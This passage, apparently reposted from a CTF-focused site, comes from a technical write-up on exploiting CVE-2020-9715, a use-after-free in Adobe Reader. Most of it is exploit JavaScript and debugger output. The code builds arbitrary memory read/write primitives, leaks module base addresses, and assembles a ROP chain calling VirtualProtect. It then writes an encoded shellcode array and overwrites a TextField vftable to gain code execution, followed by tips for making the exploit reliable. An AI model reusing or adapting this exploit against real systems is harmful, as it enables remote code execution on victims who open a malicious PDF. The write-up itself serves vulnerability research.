- console.println(“[-] Corrupted ArrayBuffer not found.”);
- return;
- }
- Prepare a DataView object to build AAR/AAW primitive
- /* 12. Prepare a DataView for the ArrayBuffer (11) to build AAR/AAW primitive */
- g_DV = new DataView(spray_arr1[i]);
We can now use this ArrayBuffer to create global read / write primitives:
- /* global R/W */
- var g_DV = null;
- var g_base = spray_base + 0x10000 + 0x10;
- var arr_elem = g_base – 0x20;
- function g_read(addr) {
- return g_DV.getUint32((0x100000000 + addr – g_base) & 0xffffffff, true);
- }
- function g_write(addr, val) {
- g_DV.setUint32((0x100000000 + addr – g_base) & 0xffffffff, val, true);
- }
A first application is to leak
EScript.api
base by reading the vftable of theDataView
code> object:- var escript_base = g_read(g_read(spray_base + 8) + 0xc) – 0x275528; // 0x0f0e0048
- console.println(“[+] EScript.api: 0x” + escript_base.toString(16));
- Prepare ROP chain and shellcodeFor this part we’ve referenced heavily to [4], and reused a good part of the code from it. It is similar that most modules in Adobe Reader DC now has CFI enabled, so simply replacing a vftable pointer to kick start shellcode would not work, such as the old
bookmarkRoot
trick used in CVE-2018-4990:- //Testing by setting offset +0x600 to 0x41414141, blocked by CFI in EScript:
- var objescript = g_read(escript_base + 0x2753EC);
- var bkm = this.bookmarkRoot;
- g_write(objescript + 0x600, 0x41414141);
- bkm.execute();
- ; The calling code to bkm.execute()
- .text:0003D681 mov ecx, dword_2753EC
- .text:0003D687 push esi ; uintptr_t
- .text:0003D688 push eax ; unsigned int
- .text:0003D689 push [ebp+var_8] ; wchar_t *
- .text:0003D68C mov esi, [ecx+600h]
- .text:0003D692 mov ecx, esi
- .text:0003D694 push ebx ; wchar_t *
- .text:0003D695 call ds:___guard_check_icall_fptr
- .text:0003D69B call esi ; bkm.execute()
- .text:0003D69D mov esi, [edi+0Ch]
- ; result in CFI exception, note that ESI is 0x41414141:
- First chance exceptions are reported before any exception handling.
- This exception may be expected and handled.
- eax=00414141 ebx=505e2f38 ecx=41414141 edx=00aa0000 esi=41414141 edi=062eab78
- eip=77373b4b esp=02bde2e0 ebp=02bde314 iopl=0 nv up ei pl nz ac pe nc
- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
- ntdll!LdrpValidateUserCallTargetBitMapCheck:
- 77373b4b 8b1482 mov edx,dword ptr [edx+eax*4] ds:0023:01af0504=????????
- 0:000> kb
- # ChildEBP RetAddr Args to Child
- 00 02bde2dc 5046d69b 505e2f38 00000003 0d151ff8 ntdll!LdrpValidateUserCallTargetBitMapCheck
- 01 02bde314 5046d579 09ac4d58 505e2f38 0d1af638 EScript!mozilla::HashBytes+0x2d0eb
- 02 02bde330 5046d555 0d1af638 505e2f38 09ac4d58 EScript!mozilla::HashBytes+0x2cfc9
- 03 02bde34c 5047034a 09ac4d58 00000000 505e2f38 EScript!mozilla::HashBytes+0x2cfa5
Following [4], we can verify that
icucnv58.dll
does not have CFI enabled and there are some pointers to the module inAcroForm.api
. We usefakeArrObj[4]
from step 10 to leak the base address:- var xfaobj_addr = g_read(g_read(arr_elem + 0x20) + 0x10); // [4] at 0x0f0f0058
- var acroform_base = g_read(xfaobj_addr + 0x28) – 0x129f90;
- console.println(“[+] AcroForm.api: 0x” + acroform_base.toString(16));
However it is not all simply just an XFA object pointer being stored in the Array with type value
0xffffff87
. There are several layers of encapsulation from JSObject to ESObject, then to the XFA Object:- ; Check the oNodes object we used for leaking AcroForm base:
- ; var oNodes = XMLData.parse(“<a></a>”, false); // AB[0,1] = (ptr,0xffffff87)
- ; fakeArrObj[4] = oNodes;
- 0:009> dd 0f0f0048-20
- 0f0f0028 00000000 00000028 00000040 00000028
- 0f0f0038 00000000 00000000 08971766 08a2214a
- 0f0f0048 00000000 ffffff81 09c31450 00000000
- 0f0f0058 09c299c0 ffffff87 00000000 0f0f0038 ; [0] -> JSObject
- ; the store pointer 09c299c0 at fakeArrObj[4] is JSObject (SpiderMonkey)
- 0:009> dd 09c299c0
- 09c299c0 09c27448 09c25bc0 09714230 506a5528
- 09c299d0 0a7c0258 00000000 09c1ec40 ffffff87 ; [0] -> ESObject
- ; the 5-th dword 0a7c0258 of JSObject is an ESObject
- 0:009> dd 0a7c0258
- 0a7c0258 095eb8b8 09c299c0 00000000 097ed778 ; [1] -> JSObject
- 0a7c0268 0a72b370 097142b8 00000000 00000000 ; [0] -> Private Property Table
- 0a7c0278 09715330 00000000 086f9f90 08a49dd0 ; [2] -> leak AcroForm.api base
- 0a7c0288 00000000 08780810 00000000 086f9ca0
- 0a7c0298 00000000 00000000
- 0:009> !heap -p -a 0a7c0258
- address 0a7c0258 found in
- _HEAP @ 2bb0000
- HEAP_ENTRY Size Prev Flags UserPtr UserSize – state
- 0a7c0250 000a 0000 [00] 0a7c0258 00048 – (busy)
By dumping pointers from AcroForm.api, we managed to find the following:
- 0935abe0 519d1e03 icucnv58!ucnv_open_58
- 0935abe4 519d06c1 icucnv58!ucnv_close_58
- 0935abe8 519d2201 icucnv58!ucnv_setSubstChars_58
- 0935abec 519d08e1 icucnv58!ucnv_convertEx_58
- 0935abf0 519ea0ae icucnv58!udata_setCommonData_58
Now we can leak the base of
icucnv58.dll
to build the ROP chain.- var icucnv58_base = g_read(acroform_base + 0xc3abe0) – 0x11e03;
- console.println(“[+] icucnv58.dll: 0x” + icucnv58_base.toString(16));
- // a86f5089230164fb6359374e70fe1739 – md5sum of icucnv58.dll
- g1 = icucnv58_base + 0x919d4 + 0x1000; //mov esp, ebx ; pop ebx ; ret
- g3 = icucnv58_base + 0x37e50 + 0x1000; //pop esp; ret
We use the same trigger as [4]. As prepared in step 10, we assign a
TextField
object intofakeArrObj[6]
. Following similar analysis to theXMLNode
object, we can find the actualTextField
object hence its vftable pointers:- // .rdata:007E677C ; const CTextField::’vftable’
- var f1_jsobj = g_read(arr_elem + 0x30); // 0x0f0f0068
- var f1_esobj = g_read(f1_jsobj + 0x10);
- var f1_txobj = g_read(g_read(g_read(f1_esobj + 0x10) + 0xc) + 0x4);
- console.println(“[+] TextField object: 0x” + f1_txobj.toString(16));
- ; fakeArrObj[6] = this.getField(“Field1”);
- 0f0f0058 0a3299c0 ffffff87 00000000 0f0f0038
- 0f0f0068 0a329a10 ffffff87 00000000 00000000
- 0:009> dd 0a329a10 ; JSObject
- 0a329a10 0a32fe68 0a3259a0 11999618 7adc5528
- 0a329a20 0aecdb68 00000000 0a3241f0 ffffff87
- 0:009> dd 0aecdb68 ; ESObject
- 0aecdb68 09ce6f50 0a329a10 00000000 0adb0df0 ; [3] -> “Field”
- 0aecdb78 0ae36cb8 00000000 00000000 00000000 ; [0] -> 11a4c7a8
- 0aecdb88 0ae36768 00000000 00000000 00000000
- 0aecdb98 00000000 08f527d0 00000000 00000000
- 0aecdba8 00000000 00000000
- ; The address of the field object: ESObject[4][3]+4
After the actual TextField object is found, we proceed with a similar technique as the trigger [4].
- GUESS = g_base + 0x30;
- /* copy CTextField vftable */
- var tx_vftable = g_read(f1_txobj);
- console.println(“[+] TextField vtable: 0x” + tx_vftable.toString(16));
- for(var i=0; i < 32; i++)
- g_write(GUESS+64+i*4, g_read(tx_vftable+i*4)); // copy 0x20 entries
- /* replace the trigger pointer */
- g_write(GUESS+64+0x18*4, g1); // replace vftable[0x18]
- /* 1st rop chain */
- MARK_ADDR = f1_txobj;
- g_write(MARK_ADDR+4, g3);
- g_write(MARK_ADDR+8, GUESS+0xc0);
- /* 2nd rop chain */
- rop = [
- g_read(escript_base + 0x01AF058), // VirtualProtect 2020.009.20063
- GUESS+0x120, // return address
- GUESS+0x120, // buffer
- 0x1000, // sz
- 0x40, // new protect
- GUESS–0x10 // old protect
- ];
- for(var i=0; i < rop.length; i++)
- g_write(GUESS+0xc0+4*i, rop[i]);
- shellcode = [
- 835867240, 1667329123, 1415139921, 1686860336, 2339769483,
- 1980542347, 814448152, 2338274443, 1545566347, 1948196865,
- 4270543903, 605009708, 390218413, 2168194903, 1768834421,
- 4035671071, 469892611, 1018101719, 2425393296 ];
- for(var i=0; i < shellcode.length; i++)
- g_write(GUESS+0x120+i*4, re(shellcode[i]));
- Code ExecutionWe choose to overwrite
vftable[0x18]
after testing many of the functions of aTextField
. Then we swap the fake vftable with the real one forfield1
. The actual trigger as below:- /* overwrite TextField object vftable */
- g_write(MARK_ADDR, GUESS+64);
- field1.delay = true;
- field1.delay = false;
By fine tuning the spray amount and spray offset, the exploit can be made very reliable. The parameters for tuning are:
spray_base
, currently at0x14000048
; also used in constructingesobj_str
.spray_size
, currently0xd00
.afterGC()
timeout, currently at 10 milliseconds.
Choices of
spray_base
andspray_size
should give a good (if not the best) chance thatspray_base
falls into the sprayedArrayBuffer
objects, for a specific or multiple versions of OS and Reader combination. Meanwhilespray_size
also affect the memory footprint. For the timeout, generally the smaller value, the higher chance that the key step of controlling the freedESObject
and assigning the craftedArray
JSObject
address fromESObject
would succeed.
References
- Abdul-Aziz Hariri and Mat Powell, CVE-2020-9715: Exploiting a Use-After-Free in Adobe Reader
- Ke Liu (@klotxl404), Pwning Adobe Reader Multiple Times with Malformed Strings
- Patroklos Argyroudis (@argp), OR’LYEH? The Shadow over Firefox
- Phan Thanh Duy (@PTDuy), TianFu Cup 2019: Adobe Reader Exploitation
- Sebastian Apelt (@bitshifter123), sample_exploit_0write.js
转载请注明:CVE-2020-9715: Exploiting the Adobe ESObject Use-After-Free Vulnerability | CTF导航